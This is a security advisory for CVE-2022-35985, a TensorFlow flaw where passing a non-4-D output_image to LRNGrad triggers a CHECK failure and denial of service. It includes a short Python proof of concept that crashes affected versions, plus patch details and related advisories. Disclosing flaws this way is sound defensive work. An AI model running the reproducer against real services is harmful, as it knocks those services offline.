TensorFlow vulnerable to `CHECK` fail in `LRNGrad`
Medium5.9CVE-2022-35985 · Published Sep 16, 2022 · updated Jul 13, 2026
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| tensorflow PyPI | < 2.7.2 | 2.7.2 |
| >= 2.8.0, < 2.8.1 | 2.8.1 | |
| >= 2.9.0, < 2.9.1 | 2.9.1 |
Details and references
### Impact If `LRNGrad` is given an `output_image` input tensor that is not 4-D, it results in a `CHECK` fail that can be used to trigger a denial of service attack. ```python import tensorflow as tf depth_radius = 1 bias = 1.59018219 alpha = 0.117728651 beta = 0.404427052 input_grads = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033) input_image = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033) output_image = tf.random.uniform(shape=[4, 4, 4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033) tf.raw_ops.LRNGrad(input_grads=input_grads, input_image=input_image, output_image=output_image, depth_radius=depth_radius, bias=bias, alpha=alpha, beta=beta) ``` ### Patches We have patched the issue in GitHub commit [bd90b3efab4ec958b228cd7cfe9125be1c0cf255](https://github.com/tensorflow/tensorflow/commit/bd90b3efab4ec958b228cd7cfe9125be1c0cf255). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University
- CVSS 3.1
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-617
- Also known as
- BIT-tensorflow-2022-35985, CVE-2022-35985, PYSEC-2026-3147, PYSEC-2026-3303, PYSEC-2026-975
More TensorFlow advisories
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|---|---|---|---|
| Sep 162022 | TensorFlow vulnerable to `CHECK` fail in `Conv2DBackpropInput` CVE-2022-35999Medium5.9fixed in 2.7.2, 2.8.1, 2.9.1 | Medium5.9 | 2.7.2, 2.8.1, 2.9.1 |
| Sep 162022 | TensorFlow vulnerable to `CHECK` fail in `tf.sparse.cross` CVE-2022-35997Medium5.9fixed in 2.7.2, 2.8.1, 2.9.1 | Medium5.9 | 2.7.2, 2.8.1, 2.9.1 |
| Sep 162022 | TensorFlow vulnerable to `CHECK` failure in `SobolSample` via missing validation CVE-2022-35935Medium5.9fixed in 2.7.2, 2.8.1, 2.9.1 | Medium5.9 | 2.7.2, 2.8.1, 2.9.1 |
| Sep 162022 | TensorFlow vulnerable to `CHECK` failure in tf.reshape via overflows CVE-2022-35934Medium5.9fixed in 2.7.2, 2.8.1, 2.9.1 | Medium5.9 | 2.7.2, 2.8.1, 2.9.1 |
| Sep 162022 | TensorFlow vulnerable to OOB read in `Gather_nd` in TF Lite CVE-2022-35937High7.0fixed in 2.7.2, 2.8.1, 2.9.1 | High7.0 | 2.7.2, 2.8.1, 2.9.1 |
| Sep 162022 | TensorFlow vulnerable to OOB write in `scatter_nd` in TF Lite CVE-2022-35939High7.0fixed in 2.7.2, 2.8.1, 2.9.1 | High7.0 | 2.7.2, 2.8.1, 2.9.1 |